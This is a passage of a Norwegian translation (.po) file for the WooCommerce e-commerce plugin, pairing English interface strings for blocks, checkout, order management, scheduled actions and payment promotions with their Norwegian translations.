msgstr "Minivognmalen gir kundene mulighet til å se varene i handlekurven og gir tilgang til handlekurv- og kassesidene."
#: patterns/hero-product-chessboard.php:16
msgid "We use only the highest-quality materials in our products, ensuring that they look great and last for years to come."
msgstr "Vi bruker bare materialer av høyeste kvalitet i produktene våre, noe som sikrer at de ser flotte ut og holder i mange år fremover."
#: patterns/product-collection-featured-products-5-columns.php:48
msgid "Shop All"
msgstr "Handle alt"
#: patterns/product-collection-featured-products-5-columns.php:8
msgid "Shop new arrivals"
msgstr "Handle nyankomne varer"
#: patterns/featured-category-triple.php:37
#: patterns/featured-category-triple.php:58
#: patterns/featured-category-triple.php:79
msgid "Shop Now"
msgstr "Kjøp nå"
#. translators: %s database error.
#: packages/action-scheduler/classes/data-stores/ActionScheduler_DBStore.php:1022
msgid "Unable to claim actions. Database error: %s."
msgstr "Kan ikke kreve handlinger. Feil i databasen: %s."
#: packages/action-scheduler/classes/data-stores/ActionScheduler_DBStore.php:1017
msgctxt "database error"
msgid "unknown"
msgstr "ukjent"
#. translators: 1: action ID 2: exception message.
#: packages/action-scheduler/classes/ActionScheduler_ListTable.php:516
msgid "Action Scheduler was unable to delete action %1$d. Reason: %2$s"
msgstr "Handlingsplanleggeren kunne ikke slette handling %1$d. Årsak: %2$s"
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1501
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1507
msgid "Post password."
msgstr "Passord for innlegget."
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-variations-controller.php:60
msgid "Deletes unused variations."
msgstr "Sletter ubrukte variasjoner."
#: includes/rest-api/Controllers/Telemetry/class-wc-rest-telemetry-controller.php:165
msgid "Installation date of the WooCommerce mobile app."
msgstr "Installasjonsdato for WooCommerce-mobilappen."
#: assets/client/blocks/product-gallery/block.json
msgctxt "block description"
msgid "Showcase your products relevant images and media."
msgstr "Vis frem relevante bilder og medier for produktene dine."
#: assets/client/blocks/product-price/block.json
msgctxt "block title"
msgid "Product Price"
msgstr "Produktpris"
#: assets/client/blocks/customer-account/block.json
msgctxt "block keyword"
msgid "My Account"
msgstr "Min konto"
#: assets/client/blocks/product-rating-stars/block.json
msgctxt "block description"
msgid "Display the average rating of a product with stars"
msgstr "Vis gjennomsnittsvurderingen av et produkt med stjerner"
#: assets/client/blocks/product-rating-stars/block.json
msgctxt "block title"
msgid "Product Rating Stars"
msgstr "Produktvurdering Stjerner"
#: assets/client/admin/product-editor/blocks/product-fields/product-variation-items-field/block.json
#: assets/client/admin/product-editor/blocks/product-fields/product-variations-options-field/block.json
#: assets/client/admin/product-editor/blocks/product-fields/variation-items/block.json
#: assets/client/admin/product-editor/blocks/product-fields/variation-options/block.json
msgctxt "block keyword"
msgid "variations"
msgstr "varianter"
#: assets/client/admin/product-editor/blocks/generic/product-subsection/block.json
#: assets/client/admin/product-editor/blocks/generic/subsection/block.json
msgctxt "block description"
msgid "The product subsection."
msgstr "Produktets underavsnitt."
#. translators: %1$s opening link tag %2$s closing link tag.
#: src/Utilities/PluginUtil.php:305
msgid "%1$sView and manage%2$s"
msgstr "%1$sVis og administrer%2$s"
#. translators: %1\$s, %2\$s = printable plugin names, %3\$d = plugins count
#: src/Utilities/PluginUtil.php:283
msgid "⚠ Incompatible plugins detected (%1$s, %2$s and %3$d other)."
msgid_plural "⚠ Incompatible plugins detected (%1$s and %2$s plugins and %3$d others)."
msgstr[0] "⚠ Inkompatible utvidelser oppdaget (%1$s, %2$s og %3$d andre)."
msgstr[1] "⚠ Inkompatible utvidelser oppdaget (%1$s og %2$s utvidelser og %3$d andre)."
#. translators: %1\$s, %2\$s = printable plugin names
#: src/Utilities/PluginUtil.php:276
msgid "⚠ 2 Incompatible plugins detected (%1$s and %2$s)."
msgstr "⚠ 2 inkompatible utvidelser oppdaget (%1$s og %2$s)."
#. translators: %s = printable plugin name
#: src/Utilities/PluginUtil.php:272
msgid "⚠ 1 Incompatible plugin detected (%s)."
msgstr "⚠ 1 inkompatibel utvidelse oppdaget (%s)."
#: src/Internal/DataStores/Orders/CustomOrdersTableController.php:593
msgid "High-Performance order storage"
msgstr "Høyytelses ordrelagring"
#. translators: %s: number of pending orders.
#: src/Internal/DataStores/Orders/CustomOrdersTableController.php:695
msgid "Currently syncing orders... %s pending"
msgstr "Synkroniserer ordrer for øyeblikket... %s ventende"
#: src/Admin/Features/OnboardingTasks/Tasks/WooCommercePayments.php:43
#: src/Internal/Admin/RemoteFreeExtensions/DefaultFreeExtensions.php:492
msgid "Get paid with WooPayments"
msgstr "Få betalt med WooPayments"
#: src/Admin/Features/MarketingRecommendations/DefaultMarketingRecommendations.php:178
#: src/Internal/Admin/RemoteFreeExtensions/DefaultFreeExtensions.php:232
msgid "Grow and retain customers with intelligent, impactful email and SMS marketing automation and a consolidated view of customer interactions."
msgstr "Få flere kunder og behold dem med intelligent, effektiv automatisering av e-post- og SMS-markedsføring og en samlet oversikt over kundeinteraksjoner."
#: src/Internal/Admin/RemoteFreeExtensions/DefaultFreeExtensions.php:215
#: src/Internal/Admin/RemoteFreeExtensions/DefaultFreeExtensions.php:231
#: src/Internal/Admin/RemoteFreeExtensions/DefaultFreeExtensions.php:536
#: assets/client/admin/chunks/multichannel-marketing.js:1
#: assets/client/admin/wp-admin-scripts/marketing-coupons.js:2
msgid "Klaviyo"
msgstr "Klaviyo"
#: src/Internal/Admin/Notes/PaymentsRemindMeLater.php:69
msgid "Save big with WooPayments"
msgstr "Spar mye med WooPayments"
#: src/Internal/Admin/Notes/PaymentsMoreInfoNeeded.php:69
msgid "Payments made simple with WooPayments"
msgstr "Betalinger gjort enkelt med WooPayments"
#: src/Admin/API/Reports/Customers/Controller.php:515
msgid "Filter out results where any of the passed fields are empty"
msgstr "Filtrer ut resultater der noen av de overførte feltene er tomme"
#: src/Blocks/Templates/OrderConfirmationTemplate.php:33
msgctxt "Template name"
msgid "Order Confirmation"
msgstr "Ordrebekreftelse"
#: src/Blocks/Templates/CheckoutHeaderTemplate.php:45
msgid "Template used to display the simplified Checkout header."
msgstr "Mal som brukes til å vise den forenklede kassaoverskriften."
#: src/Blocks/Templates/CheckoutHeaderTemplate.php:36
msgctxt "Template name"
msgid "Checkout Header"
msgstr "Overskrift for kassen"
#: src/Blocks/Templates/CheckoutTemplate.php:33
msgid "The Checkout template guides users through the final steps of the purchase process. It enables users to enter shipping and billing information, select a payment method, and review order details."
msgstr "Kasse-malen veileder brukerne gjennom de siste trinnene i kjøpsprosessen. Den gjør det mulig å legge inn frakt- og faktureringsinformasjon, velge betalingsmåte og se gjennom ordredetaljer."
#: src/Blocks/Templates/CartTemplate.php:33
msgid "The Cart template displays the items selected by the user for purchase, including quantities, prices, and discounts. It allows users to review their choices before proceeding to checkout."
msgstr "Handlekurvmalen viser varene som brukeren har valgt å kjøpe, inkludert antall, priser og rabatter. Brukerne kan gå gjennom valgene sine før de går videre til kassen."
#: src/StoreApi/Schemas/V1/CheckoutSchema.php:109
msgid "Order number used for display."
msgstr "Ordrenummer som brukes til visning."
#. Translators: %s location name.
#: src/Blocks/Shipping/ShippingController.php:120
msgid "Collection from <strong>%s</strong>:"
msgstr "Henting fra <strong>%s</strong>:"
#: src/Blocks/BlockTypes/ClassicTemplate.php:229
msgid "Order confirmation"
msgstr "Ordrebekreftelse"
#. translators: %1$s = order ID, %2$s = order id, %3$s = error message.
#. translators: %1$d = peoperty name, %2$d = order ID, %3$s = error message.
#: includes/data-stores/abstract-wc-order-data-store-cpt.php:198
#: src/Internal/DataStores/Orders/OrdersTableDataStore.php:1732
msgid "Error when setting property '%1$s' for order %2$d: %3$s"
msgstr "Feil ved innstilling av egenskapen '%1$s' for ordre %2$d: %3$s"
#. translators: %d user ID.
#: includes/class-wc-privacy.php:429
msgid "User #%d was deleted by WooCommerce in accordance with the site's personal data retention settings. Any content belonging to that user has been retained but unassigned."
msgstr "Bruker nr. %d ble slettet av WooCommerce i henhold til nettstedets innstillinger for lagring av personopplysninger. Alt innhold som tilhører denne brukeren er beholdt uten tilknytting."
#: assets/client/blocks/product-top-rated/block.json
msgctxt "block description"
msgid "Display a grid of your top rated products."
msgstr "Vis et rutenett over høyest vurderte produkter."
#: assets/client/blocks/product-top-rated/block.json
msgctxt "block title"
msgid "Top Rated Products"
msgstr "Høyest vurderte produkter"
#: assets/client/blocks/product-template/block.json
msgctxt "block description"
msgid "Contains the block elements used to render a product."
msgstr "Inneholder blokkelementene som brukes til å gjengi et produkt."
#: assets/client/blocks/product-template/block.json
msgctxt "block title"
msgid "Product Template"
msgstr "Produktmal"
#: assets/client/blocks/product-new/block.json
msgctxt "block description"
msgid "Display a grid of your newest products."
msgstr "Vis et rutenett over de nyeste produktene."
#: assets/client/blocks/payment-method-icons/block.json
msgctxt "block keyword"
msgid "woocommerce"
msgstr "woocommerce"
#: assets/client/blocks/product-new/block.json
msgctxt "block title"
msgid "Newest Products"
msgstr "Nyeste produkter"
#: assets/client/blocks/product-collection/block.json
msgctxt "block description"
msgid "Display a collection of products from your store."
msgstr "Vis en samling produkter fra butikken din."
#: assets/client/admin/product-editor/blocks/generic/product-subsection/block.json
#: assets/client/admin/product-editor/blocks/generic/subsection/block.json
msgctxt "block title"
msgid "Product subsection"
msgstr "Produkt underavsnitt"
#: assets/client/blocks/product-rating/block.json
msgctxt "block description"
msgid "Display the average rating of a product."
msgstr "Vis gjennomsnittsvurdering for et produkt."
#: assets/client/blocks/product-rating/block.json
msgctxt "block title"
msgid "Product Rating"
msgstr "Produktvurdering"
#: includes/rest-api/Controllers/Version4/Settings/class-wc-rest-email-settings-v4-controller.php:216
#: src/Internal/StockNotifications/Admin/NotificationCreatePage.php:67
#: assets/client/admin/chunks/3970.js:1
#: assets/client/admin/product-editor/index.js:2
#: assets/client/admin/wp-admin-scripts/settings-embed.js:2
#: assets/client/blocks/product-collection.js:3
msgid "Please enter a valid email address."
msgstr "Fyll inn en gyldig e-postadresse."
#. translators: %s: Taxonomy name.
#: src/Internal/DataStores/Orders/OrdersTableDataStore.php:2224
msgid "Invalid taxonomy: %s."
msgstr "Ugyldig taksonomi: %s."
#: src/Admin/Features/PaymentGatewaySuggestions/DefaultPaymentGateways.php:786
#: src/Admin/Features/PaymentGatewaySuggestions/DefaultPaymentGateways.php:828
#: src/Admin/Features/PaymentGatewaySuggestions/DefaultPaymentGateways.php:863
#: src/Internal/Admin/RemoteFreeExtensions/DefaultFreeExtensions.php:238
#: src/Internal/Admin/WCPayPromotion/DefaultPromotions.php:28
#: src/Internal/Admin/WCPayPromotion/DefaultPromotions.php:40
#: assets/client/admin/app/index.js:2
#: assets/client/admin/chunks/homescreen.js:1
#: assets/client/admin/data/index.js:2
msgid "WooPayments"
msgstr "WooPayments"
#: src/Internal/Admin/RemoteFreeExtensions/DefaultFreeExtensions.php:559
msgid "Automatically calculate how much sales tax should be collected – by city, country, or state."
msgstr "Beregn automatisk hvor mye moms som skal kreves inn - etter by, land eller delstat."
#: src/Internal/Admin/RemoteFreeExtensions/DefaultFreeExtensions.php:557
msgid "Get automated tax rates with WooCommerce Tax"
msgstr "Få automatiserte avgiftssatser med «WooCommerce Tax»"
#: src/Internal/Admin/RemoteFreeExtensions/DefaultFreeExtensions.php:552
msgid "Reach millions of active shoppers across Google with free product listings and ads."
msgstr "Nå ut til millioner av aktive kunder på Google med gratis produktoppføringer og annonser."
#: src/Internal/Admin/RemoteFreeExtensions/DefaultFreeExtensions.php:545
msgid "Create advertising campaigns and reach one billion global users."
msgstr "Lag reklamekampanjer og nå ut til en milliard globale brukere."
#: src/Internal/Admin/RemoteFreeExtensions/DefaultFreeExtensions.php:543
msgid "Create ad campaigns with TikTok"
msgstr "Opprett annonsekampanjer med TikTok"
#: src/Internal/Admin/RemoteFreeExtensions/DefaultFreeExtensions.php:531
msgid "Send purchase follow-up emails, newsletters, and promotional campaigns."
msgstr "Opprett og send e-postoppfølginger for kjøp, nyhetsbrev og kampanjer."
#: src/Internal/Admin/RemoteFreeExtensions/DefaultFreeExtensions.php:529
msgid "Reach your customers with MailPoet"
msgstr "Nå ut til kundene dine med MailPoet"
#: src/Internal/Admin/RemoteFreeExtensions/DefaultFreeExtensions.php:517
msgid "Get your products in front of a highly engaged audience."
msgstr "Få produktene dine ut til et svært engasjert publikum."
#: src/Internal/Admin/RemoteFreeExtensions/DefaultFreeExtensions.php:515
msgid "Showcase your products with Pinterest"
msgstr "Vis frem produktene dine med Pinterest"
#: src/Internal/Admin/RemoteFreeExtensions/DefaultFreeExtensions.php:494
msgid "Securely accept payments and manage payment activity straight from your store's dashboard"
msgstr "Ta imot betalinger på en sikker måte, og administrer betalingsaktiviteter direkte fra butikkens dashbord"
#. translators: %s is the name of an order type.
#: src/Internal/Admin/Orders/PageController.php:531
msgid "%s is not a valid order type."
msgstr "%s er ikke en gyldig ordretype."
#. translators: %s is the name of a function.
#: src/Internal/Admin/Orders/PageController.php:516
msgid "%s must be called after the current_screen action."
msgstr "%s må kalles etter current_screen-handlingen."
#. translators: 1: The label for an order type 2: The title of the order 3: The
#. name of the website.
#: src/Internal/Admin/Orders/PageController.php:198
msgid "%1$s #%2$s ‹ %3$s — WordPress"
msgstr "%1$s # %2$s ' %3$s - WordPress"
#. translators: 1: The label for an order type 2: The name of the website.
#: src/Internal/Admin/Orders/PageController.php:191
#: src/Internal/Admin/Orders/PageController.php:206
msgid "%1$s ‹ %2$s — WordPress"
msgstr "%1$s ‹ %2$s - WordPress"
#. Translators: %1$d is number of errors and %2$s is the formatted array of
#. order IDs.
#: src/Database/Migrations/CustomOrderTable/CLIRunner.php:479
msgid "%1$d error found: %2$s when re-migrating order. Please review the error above."
msgid_plural "%1$d errors found: %2$s when re-migrating orders. Please review the errors above."
msgstr[0] "%1$d feil funnet: %2$s ved re-migrering av ordre. Se gjennom feilen ovenfor."
msgstr[1] "%1$d feil funnet: %2$s ved re-migrering av ordrer. Se gjennom feilene ovenfor."
#: src/Database/Migrations/CustomOrderTable/CLIRunner.php:464
msgid "Attempting to remigrate..."
msgstr "Forsøk på å remigrere..."
#: src/Admin/API/OnboardingProfile.php:496
msgid "Whether or not plugins step in core profiler was skipped."
msgstr "Hvorvidt plugins-trinnet i kjerneprofileringen ble hoppet over eller ikke."
#. Translators: %s Payment method ID.
#: src/StoreApi/Routes/V1/Checkout.php:829
msgid "%s is not available for this order—please choose a different payment method"
msgstr "%s er ikke tilgjengelig for denne ordren, velg en annen betalingsmåte."
#: patterns/hero-product-chessboard.php:112
msgid "Placeholder image used to represent a product being showcased in a hero section. 2 out of 2."
msgstr "Plassholderbilde som brukes til å representere et produkt som presenteres i en helteseksjon. 2 av 2."
#: patterns/hero-product-chessboard.php:35
msgid "Placeholder image used to represent a product being showcased in a hero section. 1 out of 2."
msgstr "Plassholderbilde som brukes til å representere et produkt som presenteres i en helteseksjon. 1 av 2."
#: patterns/hero-product-split.php:37
msgid "Placeholder image used to represent a product being showcased in a hero section."
msgstr "Plassholderbilde som brukes til å representere et produkt som presenteres i en helteseksjon."
#: patterns/featured-category-triple.php:72
msgid "Placeholder image used to represent products being showcased in featured categories banner. 3 out of 3"
msgstr "Plassholderbilde som brukes til å representere produkter som vises i banneret for utvalgte kategorier. 3 av 3"
#: patterns/featured-category-triple.php:51
msgid "Placeholder image used to represent products being showcased in featured categories banner. 2 out of 3."
msgstr "Plassholderbilde som brukes til å representere produkter som vises i banneret for utvalgte kategorier. 2 av 3."
#: patterns/featured-category-triple.php:30
msgid "Placeholder image used to represent products being showcased in featured categories banner. 1 out of 3."
msgstr "Plassholderbilde som brukes til å representere produkter som vises i banneret for utvalgte kategorier. 1 av 3."
#: patterns/banner.php:55
msgid "Placeholder image used to represent products being showcased in a banner."
msgstr "Plassholderbilde som brukes til å representere produkter som vises i et banner."
#. translators: 1: provided value 2: provided type.
#: packages/action-scheduler/functions.php:137
msgid "An integer was expected but \"%1$s\" (%2$s) was received."
msgstr "Et heltall var forventet, men \"%1$s\" (%2$s) ble mottatt."
#. translators: %d refers to the total number of actions deleted
#: packages/action-scheduler/classes/WP_CLI/ActionScheduler_WPCLI_Clean_Command.php:118
msgid "%d action deleted."
msgid_plural "%d actions deleted."
msgstr[0] "%d handling slettet."
msgstr[1] "%d handlinger slettet."
#. translators: %s refers to the exception error message
#: packages/action-scheduler/classes/WP_CLI/ActionScheduler_WPCLI_Clean_Command.php:103
msgid "There was an error deleting an action: %s"
msgstr "Det oppstod en feil ved sletting av en handling: %s"
#. translators: %d refers to the total number of batches processed
#: packages/action-scheduler/classes/WP_CLI/ActionScheduler_WPCLI_Clean_Command.php:88
msgid "%d batch processed."
msgid_plural "%d batches processed."
msgstr[0] "%d batch behandlet."
msgstr[1] "%d behandlede partier."
#. translators: 1: action ID. 2: status slug.
#: packages/action-scheduler/classes/data-stores/ActionScheduler_DBStore.php:1263
#: packages/action-scheduler/classes/data-stores/ActionScheduler_wpPostStore.php:984
msgid "Unable to update the status of action %1$d to %2$s."
msgstr "Kan ikke oppdatere status for tiltak %1$d til %2$s."
#. Translators: %s is the exception message.
#: packages/action-scheduler/classes/ActionScheduler_QueueCleaner.php:70
msgid "It was not possible to determine a valid cut-off time: %s."
msgstr "Det var ikke mulig å fastsette en gyldig skjæringstid: %s."
#: packages/action-scheduler/classes/abstracts/ActionScheduler_Abstract_ListTable.php:704
msgctxt "status labels"
msgid "Past-due"
msgstr "Forsinket"
#: packages/action-scheduler/classes/abstracts/ActionScheduler_Abstract_ListTable.php:703
msgctxt "status labels"
msgid "All"
msgstr "Alle"
#: includes/admin/settings/class-wc-settings-shipping.php:343
msgid "Are you sure you want to delete this shipping method?"
msgstr "Er du sikker på at du vil slette denne fraktmåten?"
#: includes/admin/settings/class-wc-settings-shipping.php:339
msgid "Shipping method could not be removed. Please retry."
msgstr "Fraktmåten kunne ikke fjernes. Prøv på nytt."
#: i18n/states.php:1128
msgid "Trinity Palmetto Point"
msgstr "Trinity Palmetto Point"
#: i18n/states.php:1127
msgid "Saint Thomas Middle Island"
msgstr "Saint Thomas Middle Island"
#: i18n/states.php:1126
msgid "Saint Thomas Lowland"
msgstr "Saint Thomas Lowland"
#: i18n/states.php:1125
msgid "Saint Peter Basseterre"
msgstr "Saint Peter Basseterre"
#: i18n/states.php:1124
msgid "Saint Paul Charlestown"
msgstr "Saint Paul Charlestown"
#: i18n/states.php:1123
msgid "Saint Paul Capisterre"
msgstr "Saint Paul Capisterre"
#: i18n/states.php:1122
msgid "Saint Mary Cayon"
msgstr "Saint Mary Cayon"
#: i18n/states.php:1121
msgid "Saint John Figtree"
msgstr "Saint John Figtree"
#: i18n/states.php:1120
msgid "Saint John Capisterre"
msgstr "Saint John Capisterre"
#: i18n/states.php:1119
msgid "Saint James Windward"
msgstr "Saint James Windward"
#: i18n/states.php:1118
msgid "Saint George Gingerland"
msgstr "Saint George Gingerland"
#: i18n/states.php:1117
msgid "Saint George Basseterre"
msgstr "Saint George Basseterre"
#: i18n/states.php:1116
msgid "Saint Anne Sandy Point"
msgstr "Saint Anne Sandy Point"
#: i18n/states.php:1115
msgid "Christ Church Nichola Town"
msgstr "Christ Church Nichola Town"
#: i18n/states.php:1114
msgid "Nevis"
msgstr "Nevis"
#: i18n/states.php:1113
msgid "Saint Kitts"
msgstr "Saint Kitts"
#: templates/checkout/form-verify-email.php:50
msgid "Verify"
msgstr "Bekreft"
#. translators: 1: opening login link 2: closing login link
#: templates/checkout/form-verify-email.php:36
msgid "To view this page, you must either %1$slogin%2$s or verify the email address associated with the order."
msgstr "For å se denne siden må du enten %1$slogge inn%2$s eller bekrefte e-postadressen som er knyttet til ordren."
#: src/Blocks/BlockTypes/OrderConfirmation/Status.php:258
#: templates/checkout/form-verify-email.php:29
msgid "We were unable to verify the email address you provided. Please try again."
msgstr "Vi kunne ikke bekrefte e-postadressen du ga opp. Vennligst prøv igjen."
#: includes/shortcodes/class-wc-shortcode-checkout.php:314
msgid "Please log in to your account to view this order."
msgstr "Logg inn på din konto for å se denne ordren."
#: assets/client/blocks/inner-blocks/mini-cart-title-label-block/block.json
msgctxt "block description"
msgid "Block that displays the 'Your cart' part of the Mini-Cart Title block."
msgstr "Blokk som viser 'Din handlekurv'-delen av tittelblokken for minihandlekurven."
#: assets/client/blocks/inner-blocks/mini-cart-title-label-block/block.json
msgctxt "block title"
msgid "Mini-Cart Title Label"
msgstr "Titteletikett for minihandlekurv"
#: assets/client/blocks/inner-blocks/mini-cart-title-items-counter-block/block.json
msgctxt "block description"
msgid "Block that displays the items counter part of the Mini-Cart Title block."
msgstr "Blokk som viser produkt-tellerens del av minikurvens tittelblokk."
#: assets/client/blocks/inner-blocks/mini-cart-title-items-counter-block/block.json
msgctxt "block title"
msgid "Mini-Cart Title Items Counter"
msgstr "Tittel for minikurvens produkt-teller"
#: assets/client/blocks/product-meta/block.json
msgctxt "block description"
msgid "Display a product’s SKU, categories, tags, and more."
msgstr "Vis et produkts produktnummer, kategorier, stikkord og mer."
#: assets/client/blocks/add-to-cart-form/block.json
msgctxt "block title"
msgid "Add to Cart with Options"
msgstr "Legg i handlekurv med alternativer"
#: assets/client/admin/product-editor/blocks/generic/product-toggle-field/block.json
#: assets/client/admin/product-editor/blocks/generic/toggle/block.json
msgctxt "block description"
msgid "The product toggle."
msgstr "Produktbryteren."
#: assets/client/admin/product-editor/blocks/generic/product-toggle-field/block.json
#: assets/client/admin/product-editor/blocks/generic/toggle/block.json
msgctxt "block title"
msgid "Product toggle control"
msgstr "Kontroll av produktet"
#: assets/client/admin/product-editor/blocks/product-fields/product-sale-price-field/block.json
#: assets/client/admin/product-editor/blocks/product-fields/sale-price/block.json
msgctxt "block title"
msgid "Product sale price"
msgstr "Produktets tilbudspris"
#: assets/client/admin/product-editor/blocks/product-fields/product-regular-price-field/block.json
#: assets/client/admin/product-editor/blocks/product-fields/regular-price/block.json
msgctxt "block title"
msgid "Product regular price"
msgstr "Produktets ordinære pris"
#: assets/client/admin/product-editor/blocks/product-fields/inventory-quantity/block.json
#: assets/client/admin/product-editor/blocks/product-fields/product-inventory-quantity-field/block.json
msgctxt "block keyword"
msgid "quantity"
msgstr "antall"
#: assets/client/admin/product-editor/blocks/product-fields/inventory-quantity/block.json
#: assets/client/admin/product-editor/blocks/product-fields/product-inventory-quantity-field/block.json
msgctxt "block description"
msgid "The product available quantity."
msgstr "Produktets tilgjengelige antall."
#: assets/client/admin/product-editor/blocks/product-fields/inventory-quantity/block.json
#: assets/client/admin/product-editor/blocks/product-fields/product-inventory-quantity-field/block.json
msgctxt "block title"
msgid "Product inventory quantity available"
msgstr "Tilgjengelig antall produkter på lager"
#: assets/client/admin/product-editor/blocks/generic/product-section-description/block.json
#: assets/client/admin/product-editor/blocks/generic/product-subsection-description/block.json
#: assets/client/admin/product-editor/blocks/generic/section-description/block.json
#: assets/client/admin/product-editor/blocks/generic/subsection-description/block.json
#: assets/client/admin/product-editor/blocks/product-fields/description/block.json
#: assets/client/admin/product-editor/blocks/product-fields/product-description-field/block.json
#: assets/client/admin/product-editor/blocks/product-fields/product-details-section-description/block.json
msgctxt "block keyword"
msgid "description"
msgstr "beskrivelse"
#: assets/client/admin/product-editor/blocks/product-fields/description/block.json
#: assets/client/admin/product-editor/blocks/product-fields/product-description-field/block.json
msgctxt "block description"
msgid "The product description."
msgstr "Produktbeskrivelse."
#: assets/client/admin/product-editor/blocks/product-fields/description/block.json
#: assets/client/admin/product-editor/blocks/product-fields/product-description-field/block.json
msgctxt "block title"
msgid "Product description"
msgstr "Produktbeskrivelse"
#: assets/client/blocks/product-collection/block.json
msgctxt "block keyword"
msgid "by category"
msgstr "etter kategori"
#: assets/client/admin/product-editor/blocks/product-fields/product-tag-field/block.json
#: assets/client/admin/product-editor/blocks/product-fields/tag/block.json
msgctxt "block description"
msgid "A field to select product tags."
msgstr "Et felt for å velge produkt stikkord."
#: assets/client/admin/product-editor/blocks/product-fields/attributes/block.json
#: assets/client/admin/product-editor/blocks/product-fields/product-attributes-field/block.json
#: assets/client/blocks/product-specifications/block.json
msgctxt "block keyword"
msgid "attributes"
msgstr "attributter"
#: assets/client/admin/product-editor/blocks/product-fields/attributes/block.json
#: assets/client/admin/product-editor/blocks/product-fields/product-attributes-field/block.json
msgctxt "block description"
msgid "The product attributes."
msgstr "Produktattributtene."
#: assets/client/admin/product-editor/blocks/product-fields/attributes/block.json
#: assets/client/admin/product-editor/blocks/product-fields/product-attributes-field/block.json
msgctxt "block title"
msgid "Product attributes"
msgstr "Produktattributter"
#. translators: 1 = url of the WooCommerce webhooks settings page
#: src/Internal/Utilities/WebhookUtil.php:117
msgid "After that they can be reassigned to the logged-in user by going to the <a href=\"%1$s\">WooCommerce webhooks settings page</a> and re-saving them."
msgstr "Deretter kan de tilordnes på nytt til den innloggede brukeren ved å gå til <a href=\"%1$s\">innstillingssiden for WooCommerce webhooks</a> og lagre dem på nytt."
#: src/Internal/Utilities/WebhookUtil.php:112
msgid "The affected WooCommerce webhooks will <b>not</b> be deleted and will be attributed to user id 0.<br/>"
msgstr "De berørte WooCommerce-webhooksene vil <b>ikke</b> bli slettet og vil tilskrives bruker-ID 0.<br/>"
#: src/Internal/Utilities/WebhookUtil.php:110
msgid "If the \"Delete all content\" option is selected, the affected WooCommerce webhooks will <b>not</b> be deleted and will be attributed to user id 0.<br/>"
msgstr "Hvis alternativet \"Slett alt innhold\" er valgt, vil de berørte WooCommerce-nettkrokene <b>ikke</b> slettes og tilskrives bruker-ID 0.<br/>"
#. translators: 1 = user id, 2 = user login, 3 = webhooks count
#: src/Internal/Utilities/WebhookUtil.php:76
msgctxt "user webhook count"
msgid "User #%1$s %2$s has created %3$d WooCommerce webhook."
msgid_plural "User #%1$s %2$s has created %3$d WooCommerce webhooks."
msgstr[0] "Brukernr. %1$s %2$s har opprettet %3$d WooCommerce webhook."
msgstr[1] "Brukernr. %1$s %2$s har opprettet %3$d WooCommerce webhook-er."
#. translators: %s is an order ID.
#: src/Internal/Admin/Orders/ListTable.php:1095
msgid "Order %s is locked."
msgstr "Ordre %s er låst."
#: src/Internal/Admin/Orders/EditLock.php:196
msgid "Take over"
msgstr "Ta over"
#. translators: %s is a user's name.
#: src/Internal/Admin/Orders/EditLock.php:191
msgid "%s is currently editing this order. Do you want to take over?"
msgstr "%s redigerer for øyeblikket denne ordren. Vil du ta over?"
#: src/Internal/Admin/Orders/EditLock.php:180
#: assets/client/admin/chunks/launch-store.js:1
msgid "Go back"
msgstr "Tilbake"
#. translators: %s is a user's name.
#: src/Internal/Admin/Orders/EditLock.php:119
msgid "%s has taken over and is currently editing."
msgstr "%s har tatt over og redigerer for øyeblikket."
#. Translators: %s is the comma-separated list of order types.
#: src/Database/Migrations/CustomOrderTable/CLIRunner.php:389
msgid "Passed order type does not match any registered order types. Following order types are registered: %s"
msgstr "Overført ordretype samsvarer ikke med noen registrerte ordretyper. Følgende ordretyper er registrert: %s"
#. translators: %1$s is a time in minutes, %2$s is a list of products and
#. quantities.
#: src/Checkout/Helpers/ReserveStock.php:163
msgctxt "held stock note"
msgid "Stock hold of %1$s minutes applied to: %2$s"
msgstr "Lagerhold på %1$s minutter gjelder for: %2$s"
#. translators: %d is the remaining order items count.
#: src/Checkout/Helpers/ReserveStock.php:155
msgctxt "held stock note"
msgid "- ...and %d more item."
msgid_plural "- ... and %d more items."
msgstr[0] "- ...og %d til produkt."
msgstr[1] "- ...og %d til produkter."
#. translators: %1$s is a product's formatted name, %2$d: is the quantity of
#. said product to which the stock hold applied.
#: src/Checkout/Helpers/ReserveStock.php:135
msgctxt "held stock note"
msgid "- %1$s × %2$d"
msgstr "- %1$s × %2$d"
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/SimpleProductTemplate.php:371
msgid "What makes this product unique? What are its most important features? Enrich the product page by adding rich content using blocks."
msgstr "Hva gjør dette produktet unikt? Hva er de viktigste funksjonene? Berik produktsiden ved å legge til rikholdig innhold ved hjelp av blokker."
#: src/StoreApi/Routes/V1/ProductsBySlug.php:88
msgid "Invalid product slug."
msgstr "Ugyldig produktslug."
#: src/StoreApi/Routes/V1/ProductsBySlug.php:51
msgid "Slug of the resource."
msgstr "Ressursens snegle."
#: src/StoreApi/Routes/V1/Products.php:162
msgid "Limit result set to products with specific slug(s). Use commas to separate."
msgstr "Begrens resultatsettet til produkter med spesifikke slug(s). Bruk komma for å skille."
#. translators: %s is referring to the total of reviews for a product
#: src/Blocks/BlockTypes/ProductRating.php:125
#: src/Blocks/BlockTypes/ProductRatingCounter.php:122
#: assets/client/blocks/all-products.js:6
#: assets/client/blocks/all-products.js:16
#: assets/client/blocks/cart-frontend.js:7 assets/client/blocks/cart.js:18
#: assets/client/blocks/product-rating-counter-frontend.js:2
#: assets/client/blocks/product-rating-counter.js:2
#: assets/client/blocks/product-rating-frontend.js:4
#: assets/client/blocks/product-rating-stars-frontend.js:4
#: assets/client/blocks/product-rating-stars.js:4
#: assets/client/blocks/product-rating.js:4
msgid "(%s customer review)"
msgid_plural "(%s customer reviews)"
msgstr[0] "(%s kundeomtale)"
msgstr[1] "(%s kundeomtaler)"
#. translators: Footer powered by text. %1$s being WordPress, %2$s being
#. WooCommerce
#. translators: 1: WordPress link, 2: WooCommerce link
#: patterns/footer-large.php:66 patterns/footer-simple-menu.php:40
#: patterns/footer-with-3-menus.php:49
msgid "Powered by %1$s with %2$s"
msgstr "Drevet av %1$s med %2$s"
#: includes/wc-core-functions.php:1628
msgctxt "Name of credit card"
msgid "JCB"
msgstr "JCB"
#: includes/wc-core-functions.php:1627
msgctxt "Name of credit card"
msgid "Diners"
msgstr "Diners"
#: includes/wc-core-functions.php:1625
msgctxt "Name of credit card"
msgid "American Express"
msgstr "American Express"
